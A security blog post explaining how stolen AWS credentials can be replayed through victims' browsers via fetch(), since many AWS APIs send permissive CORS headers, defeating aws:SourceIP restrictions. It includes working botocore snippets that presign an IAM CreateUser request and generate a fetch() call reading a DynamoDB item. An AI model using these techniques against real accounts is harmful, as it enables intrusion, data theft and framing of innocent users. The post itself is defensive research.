Don't trust aws:SourceIP!
I’ll break your data perimeter with one neat trick.
One of my favorite talks from fwd:CloudSec this year was Jarom Brown’s AWS
Presigned URLs: The Good, The Bad, and the Ugly (abstract).
In his talk, Jarom demonstrates a way to use javascript within an unsuspecting
user’s browser to make requests to AWS. Because most AWS services provide their
APIs over HTTP, he was able to use standard browser-side facilities (e.g.
XMLHTTPRequest
, fetch()
) to synthesize requests to AWS, and then exfiltrate
their responses to a server he controlled. This is most relevant in a
post-compromise context, where an attacker has access to a victim’s AWS keys,
and gives the attacker lots of leeway for disguising or changing the source IP
address presented to AWS.
The first question on my mind was “I thought CORS was supposed to stop this.
Why didn’t it?”. It looks like the answer is that most AWS services are very
happy to send an Access-Control-Allow-Origin: *
header. For instance, I used
the program below to sign a GET to iam:CreateUser
from botocore.awsrequest import AWSRequest
from botocore.session import Session
from botocore.auth import SigV4QueryAuth
service = "iam"
region = "us-east-1"
session = Session()
credentials = session.get_component(
"credential_provider"
).load_credentials()
auth = SigV4QueryAuth(credentials, service, region, expires=30)
method = "GET"
synthetic_request = AWSRequest(
method=method,
url="https://iam.amazonaws.com/",
data={"Action": "CreateUser", "UserName": "Mallory", "Version": "2010-05-08"},
)
auth.add_auth(synthetic_request)
In response, AWS:
- created an IAM user in my account (on a GET!)
- sent back an
Access-Control-Allow-Origin: *
header. - didn’t honor the value of
X-Amz-Expires
, in contravention of the published docs.
I don’t know exactly which services in AWS are susceptible to this technique,
but I imagine it is many of them. The service that appears to do this right is
S3, which allows the owner of a bucket to specify which Origin
headers should be allowed or disallowed.
Now, none of this “breaks” the AWS authentication model. In all cases, someone with access to my credentials signed a valid request to an AWS service, which that service then faithfully executed. But it does open up a lot of options for attackers to use post-compromise. You can:
- cloak yourself by routing some or all attack traffic via innocent third parties (e.g. with a browser-based botnet)
- frame an innocent insider by having their browser perform an exfiltration
- evade a defender’s aws:SourceIP restrictions by exfiltrating their data through their users’ own browsers.
Using the snippet below, I generated a fetch()
compatible request that
exfiltrates data from a DynamoDB table:
import json
from botocore.awsrequest import AWSRequest
from botocore.session import Session
from botocore.auth import SigV4Auth
service = "dynamodb"
region = "us-east-1"
session = Session()
credentials = session.get_component("credential_provider").load_credentials()
auth = SigV4Auth(credentials, service, region)
method = "POST"
synthetic_request = AWSRequest(
method=method,
url="https://dynamodb.us-east-1.amazonaws.com/",
headers={
"Content-Type": "application/x-amz-json-1.0",
"X-Amz-Target": "DynamoDB_20120810.GetItem",
},
data=json.dumps({"TableName": "thread", "Key": {"ForumName": {"S": "blah"}}}),
)
auth.add_auth(synthetic_request)
print(
"fetch({}, {})".format(
json.dumps(synthetic_request.url),
json.dumps(
dict(
method=synthetic_request.method,
headers=dict(synthetic_request.headers),
body=synthetic_request.data,
)
),
)
)
As a defender, I looked for ways to detect or prevent such techniques, and came
up short. The fetch()
API allows the attacker to manipulate the User-Agent
header, so a Cloudtrail detection on based on userAgent
won’t work. I think
the right move would be to validate requests based on how they were signed
(e.g. Authorization
header or X-Amz-Header
query string), request method
(e.g. POST
or PUT
, not GET
), and (most importantly) the Origin
HTTP
header. But I don’t think that IAM policy provides condition context
keys for any of the above.